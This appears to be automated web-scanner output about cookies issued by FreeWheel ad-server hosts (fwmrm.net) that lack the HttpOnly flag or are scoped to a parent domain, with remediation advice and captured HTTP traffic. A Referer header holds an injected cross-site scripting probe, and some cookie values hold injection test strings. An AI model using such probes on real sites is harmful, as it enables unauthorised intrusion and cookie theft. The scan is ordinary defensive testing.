The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:25 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072565.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookies were issued by the application and do not have the HttpOnly flag set:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:27 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_pr="1296072567.603212.209169~209170~,1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072567.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:08:55 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072535.28800.0.0,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="a115_5566589151069306229";domain=.fwmrm.net;path=/; Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296072535.1296072535.28800.0.0,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 20:08:55 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Content-Length: 58527
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ad ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:13 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072553.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 22:12:03 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296079923.0,12670.1296079923.0,12671.1296076541.0,^";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_pr="1296079886.603212.209169~209170~,1296079879.453241.209169~209170~,1296079458.3972.209169~209170~,1296079457.3611.209169~209170~,1296079456.4614.209169~209170~,1296079291.7120%00'.209169~209170~,1296079290.7120%2527.209169~209170~,1296079289.8163%2527.209169~209170~,1296079288.7120'.209169~209170~,1296079286.712077ca7%253ca%253e81ef9ae6aac.209169~209170~,1296079276.9008.209169~209170~,1296079261.9586.209169~209170~,1296079204.4450%00'.209169~209170~,1296079203.4450%2527.209169~209170~,1296079202.4450'.209169~209170~,1296079199.4450cd03d%253ca%253ea31afa0d28a.209169~209170~,1296079193.3972%00'.209169~209170~,1296079192.3972%2527.209169~209170~,1296079190.3972'.209169~209170~,1296079187.3972e743e%253ca%253ec33c38c9084.209169~209170~,1296079171.3959%00'.209169~209170~,1296079170.3959%2527.209169~209170~,1296079169.3959'.209169~209170~,1296079167.3959be3bd%253ca%253e235c66d1faa.209169~209170~,1296079163.4171%00'.209169~209170~,1296079161.4171%2527.209169~209170~,1296079160.4171'.209169~209170~,1296076027.4830.209169~209170~,1296075510.8419.209169~209170~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_vr="1296079303..64806~95993~95995~95999~96000~113759~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296079923.28800.2377.0,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/l/1?s=a115&t=12960726342650311&adid=209170&reid=100797&arid=0&auid=&cn=defaultImpression&et=i&_cc=209170,100797,,11255.11283.11639.,1296072634,1&tpos=&init=1&cr= HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
Response
HTTP/1.1 200 OK Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _auv="g11951~5.1296079923.0,12670.1296079923.0,12671.1296076541.0,^";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296079886.603212.209169~209170~,1296079879.453241.209169~209170~,1296079458.3972.209169~209170~,1296079457.3611.209169~209170~,1296079456.4614.209169~209170~,1296079291.7120%00'.209169~209170~,1296079290.7120%2527.209169~209170~,1296079289.8163%2527.209169~209170~,1296079288.7120'.209169~209170~,1296079286.712077ca7%253ca%253e81ef9ae6aac.209169~209170~,1296079276.9008.209169~209170~,1296079261.9586.209169~209170~,1296079204.4450%00'.209169~209170~,1296079203.4450%2527.209169~209170~,1296079202.4450'.209169~209170~,1296079199.4450cd03d%253ca%253ea31afa0d28a.209169~209170~,1296079193.3972%00'.209169~209170~,1296079192.3972%2527.209169~209170~,1296079190.3972'.209169~209170~,1296079187.3972e743e%253ca%253ec33c38c9084.209169~209170~,1296079171.3959%00'.209169~209170~,1296079170.3959%2527.209169~209170~,1296079169.3959'.209169~209170~,1296079167.3959be3bd%253ca%253e235c66d1faa.209169~209170~,1296079163.4171%00'.209169~209170~,1296079161.4171%2527.209169~209170~,1296079160.4171'.209169~209170~,1296076027.4830.209169~209170~,1296075510.8419.209169~209170~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _vr="1296079303..64806~95993~95995~95999~96000~113759~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _cph="";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296072535.1296079923.28800.2377.0,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Content-Type: text/html Content-Length: 0 Pragma: no-cache Date: Wed, 26 Jan 2011 22:12:02 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID"
The following cookies were issued by the application and do not have the HttpOnly flag set:
_auv="g11951~5.1296072970.60,12670.1296072568.301,12671.1296072970.60,^";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_cvr="1296077435^11575^sg11951~sg11611^0~0^322.000000~0.000000,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_pr="1296077435.1567.209169~209170~,1296077434.453241.209169~209170~,1296077432.9457cfbe21ce10fa722f7ebeff95.209169~209170~,1296077431.cfbe21cec1b8e9c73c38084b.209169~209170~,1296077426.459cfbe21ce621c2c19fa2a6124.209169~209170~,1296077425.cfbe21ce34b818da01fc9256.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_vr="1296077427..64806~94031~94885~113759~,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296077435.28800.306.0,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 21:45:16 GMT;domain=.fwmrm.net;path=/;
_pr="1296078316.1162.65013~113760~209169~209170~304586~304587~,1296078315.104.209169~209170~,1296078308.1162cfbe21ce48ff853a5cce7f90.209169~209170~,1296078307.cfbe21ce59110a0fa3154138.209169~209170~,1296078300.2138.209169~209170~,1296078287.6354.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,1296072567.603212.209169~209170~,1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_vr="1296078311..64806~94996~95993~113759~,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296078316.28800.1437.0,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:25 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072565.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:25 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.